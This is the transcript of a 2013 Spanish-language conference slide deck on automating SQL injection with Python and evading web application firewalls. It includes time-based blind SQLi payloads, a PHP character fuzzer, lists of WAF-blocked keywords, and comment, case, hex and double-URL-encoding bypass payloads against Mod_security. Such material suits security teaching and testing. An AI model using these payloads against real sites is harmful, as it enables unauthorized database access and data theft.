+ All Categories
Home > Documents > Bypass WAFs€¢Qué buscan los WAF?-Expresiones regulares-Non-Word Characters-SQL Comment Sequence...

Bypass WAFs€¢Qué buscan los WAF?-Expresiones regulares-Non-Word Characters-SQL Comment Sequence...

Date post: 14-Oct-2018
Category:
Upload: dangkiet
View: 223 times
Download: 0 times
Share this document with a friend
39
http://www.el-palomo.com Automatizando SQLi con Python Omar Palomino Noviembre, 2013 [email protected] Bypass WAFs KUNAK CONSULTING [email protected]
Transcript

http://www.el-palomo.com

Automatizando SQLi con Python

Omar PalominoNoviembre, 2013

[email protected]

Bypass WAFs

KUNAK CONSULTING

[email protected]

ÍNDICE

1.Inyecciones SQL

2.Inyecciones manuales vs herramientas

3.Nuevos Retos SQLi - WAFs

4.Evadir Web Application Firewall

5.Codificaciones

6.Automatizando ataques SQLi con Python

http://www.el-palomo.com

INYECCIONES SQL

• ¿Dónde los encontramos?

- Aplicaciones desarrolladas “in-house”

- Aplicaciones desarrolladas por terceros

- Aplicaciones web antiguas sin criterios de seguridad

- Content Management Systems (CMS)

http://www.el-palomo.com

INYECCIONES SQL

http://www.el-palomo.com

• Basadas en Uniones

• Inyecciones a Ciegas (Blind SQL)

- Sólo obtenemos un carácter a la vez

- Identificamos el carácter con TRUE o FALSE

• Basadas en errores

TIPOS DE INYECCIONES SQL

http://www.el-palomo.com

1.Inyecciones a Ciegas (Blind SQL)

- Algoritmo de búsqueda binaria

- ASCII rango 32 – 126

- Dividir siempre entre la mitad

- Se pregunta si el número es mayor o menor

- Máximo 8 iteraciones

- Método Bitwise

- Siempre usa 7 iteraciones

- Método Regex

- Usa expresiones regulares

TIPOS DE INYECCIONES SQL

http://www.el-palomo.com

32 33 34 … … 79 … … 125 126

LENGTH (<QUERY>) between 0 and 20, sleep (5)

LENGTH (<QUERY>) between 20 and 30, sleep (5)

TRUE or FALSE

TRUE or FALSE

LENGTH (<QUERY>) between 20 and 25, sleep (5)

Longitud: 27

ASCII ( MID (<QUERY>),1,1) between 32 and 79, sleep (5)

79 80 81 … … 102 … … 125 126

102 103 104 … … 114 … … 125 126

102 103 104 … … 108 … … 113 114

Código ASCII: 112

TIPOS DE INYECCIONES SQL

http://www.el-palomo.com

DEMO DE INYECCIÓN BLIND SQLi

http://www.el-palomo.com

• ¿Qué es un WAF?

- Mecanismo de protección contra ataques conocidos (SQLi, XSS, ejecución de código)

- Intercepta el tráfico que llega a la aplicación Web

- Analiza el tráfico y determina si la petición es un ataque para bloquearlo.

INYECCIONES SQL

http://www.el-palomo.com

• ¿Cómo identifico que una aplicación usa WAF?

- Pruebas manuales

• Modificación de cookies

• Telnet

• Error 403

• Mensajes propietarios

• Prueba una inyección básico ( 9 div 1)

- Pruebas automatizadas

• Nmap script engine (NSE)

• Imperva Script

INYECCIONES SQL

http://www.el-palomo.com

SCRIPT WAFW00F.PY (incluido en Backtrack)

INYECCIONES SQL

http://www.el-palomo.com

DETECCIÓN MEDIANTE MENSAJES DE ERROR (WAF F5)

ERROR 403 (MOD_SECURITY)

INYECCIONES SQL

http://www.el-palomo.com

En instituciones del estado “peruano”

¿CUÁNTOS WAF HAY EN ….?

http://www.el-palomo.com

UN PEQUEÑO SCRIPT….

http://www.el-palomo.com

DEMO SCRIPT….

http://www.el-palomo.com

• Es más divertido hacerlo manualmente

¿Por qué?

> Es un reto hacerlo manualmente y encontrar diferentes maneras de inyectar.

> Algunos plugins que nos ayudan

- Firefox – Plugin Tamper Data

- Firefox – HackBar

• Herramientas:

- SQLMap (herramienta por excelencia)

INYECCIONES MANUALES VS TOOLS

http://www.el-palomo.com

• ¿Cómo detecta un WAF las inyecciones?

- Lista negra (“Black list”) de palabras conocidas. No permite palabras como:

information_schema

- Basado en expresiones regulares

- “Los fabricantes” de la solución deben conocer como funciona cada Sistema Gestor de Base de

Datos, la mayoría sólo conoce lo clásico y no a profundidad el tema.

NUEVOS RETOS SQLi - WAF

http://www.el-palomo.com

Servidor Web Servidor BD

Zona Desmilitarizada (DMZ)

Peticiones a la Base de Datos

Sentencias SQL

Web Application Firewall (WAF)

Select * from tablaSolución WAF1 Llega petición Web

2 WAF analiza la petición

3 Deniega el acceso

http://www.pagina.com/rol.jsp?id=10 or 1=1

http://www.pagina.com/rol.jsp?id=10 <script></script>

http://www.el-palomo.com

• WAF Comerciales y libres

MOD_Security

F5

Imperva

• Todos los WAF comerciales son “muy caros”

• Los WAF comerciales venden un appliance

• MOD_Security funciona a nivel de software instalado en el servidor (existe versiones

para Apache, IIS, Ngix)

NUEVOS RETOS SQLi - WAF

http://www.el-palomo.com

• ¿Qué buscan los WAF?

- Expresiones regulares- Non-Word Characters

- SQL Comment Sequence Detected

- Common Injection Testing Detected

- Multiple URL Encoding Detected

- Lista Negra de palabras

- sys.user_objects

- sys.user_triggers

- @@spid

- msysaces

- instr

- sys.user_views

- mysql.

- sys.tab

- charindex

- locate

- sys.user_catalog

- constraint_type

NUEVOS RETOS SQLi - WAF

http://www.el-palomo.com

• Houston tenemos problemas

Los WAFs son la solución a las inyecciones?

Ya no debemos preocuparnos por las buenas prácticas de programación?

Los WAF desaparecen el riesgo por completo?

¿Cuánto cuesta un WAF y cuanto cuesta tener conocimiento de desarrollo seguro?

NUEVOS RETOS SQLi - WAF

http://www.el-palomo.com

• Errores más comunes:

– No se actualizan las reglas del WAF

– Los SGBD tienen nuevas funciones y los WAF deben actualizarse

– Funciones y palabras reservadas “NO CONOCIDAS”

• Confundir al Firewall (WAF) - Ofuscación

• Leer la documentación de la Base de Datos

- Mysql

- Oracle

- MSSQL

• Funciones no convencionales o poco conocidas

• Tipos de comentarios por cada base de datos

EVADIR WAFs

http://www.el-palomo.com

<?php

$con=mysql_connect(‘localhost’,’user’,’pass’);

For ($i=0; $i<=255;$i++){

$query=mysql_query(“Select 1 from dual where 1”. Chr($i).”=1”);

If(!query){

Continue;

}

Echo $i. ‘:0x’ . Dechex($i). ‘:’ . Chr($i) . ‘<br>’;

}

?>

EVADIR WAFs

FUZZER A LA BASE DE DATOS

http://www.el-palomo.com

DEMO ejecutar script fuzzer

EVADIR WAFs

http://www.el-palomo.com

• Técnicas de evasión

- Identifica que palabras o símbolos son filtrados, cada WAF es distinto.

- Usando hexadecimales

select column_name from information_schema.columns where table_name=0x7874705f7573657273

limit 0,1

Carácter Alternativa 1 Alternativa 2

<, > BETWEEN

= LIKE

(ESPACIOS EN BLANCO) %20 Paréntesis ()

Select(campo1)from(table)

OR ||

AND &&

EVADIR WAFs

http://www.el-palomo.com

• Técnicas de evasión

- Mayúsculas y minúsculas (aun funciona)

SeLeCT campo1 FroM table WheRE

- Uso de comentarios

SeLe/*plop*/CT campo1 Fr/*plop*/oM table Wh/*plop*/eRE

Carácter Alternativa 1

# Comentario hasta el final de la línea

/*COMENTARIO*/ Comentario multi línea

(ESPACIOS EN BLANCO) /*!*//*!select /*!50000 user()*/*/ union /*!select /*!00000 version()*/*//**/

EVADIR WAFs

http://www.el-palomo.com

- Uso de más comentarios

Carácter Alternativa 1

/*COMENTARIO*/ Comentario multi línea

Select 1, /*!40000 2*/ union select /*!

50000 1*/,2

Select 1, /*!80000 2*/ union select /*!

70000 1*/,2

EVADIR WAFs

http://www.el-palomo.com

- Ofuscando con comentarios

- 1'#

- AND 0--

- UNION# I am a comment!

- SELECT@tmp:=table_name x FROM--

`information_schema`.tables LIMIT 1#

1‘%23%0AAND%200--%0AUNION# I am a comment!%0ASELECT table FROM--%0A

`information_schema`.tables LIMIT 1%23

EVADIR WAFs

http://www.el-palomo.com

DEMO evadiendo un Mod_security (el)

EVADIR WAFs

http://www.el-palomo.com

• Codificaciones URL

Transformado a hexadecimal

Espacio en blanco: %20

• Double URL encode

a= %61

%61=%2561

EVADIR WAFs - CODIFICACIONES

http://www.el-palomo.com

DEMO evadiendo un Mod_security (irtp)

EVADIR WAFs

http://www.el-palomo.com

Lo importante….

• No existe un WAF estándar

• Las herramientas convenciones no funcionan

• Si no sabes como hacer una inyección STEP by STEP…. Estas jodido!!

• Automatizar ataques con Python

PYTHON Y LAS INYECCIONES…

http://www.el-palomo.com

EVADIR WAFs

No existe un camino pero….

1. Identifica que palabras son bloqueados por el WAF

2. Identifica que caracteres son bloqueados y reemplázalos

3.- Automatiza el ataque

http://www.el-palomo.com

• Base de datos de conocimiento de los vectores de ataque para evadir WAFs

• Funciona siempre? No siempre funciona pero es fácil de modificar en caso de ser

necesario.

MI HERRAMIENTA - DEMO

http://www.el-palomo.com

EVADIR WAFs

http://www.el-palomo.com


Recommended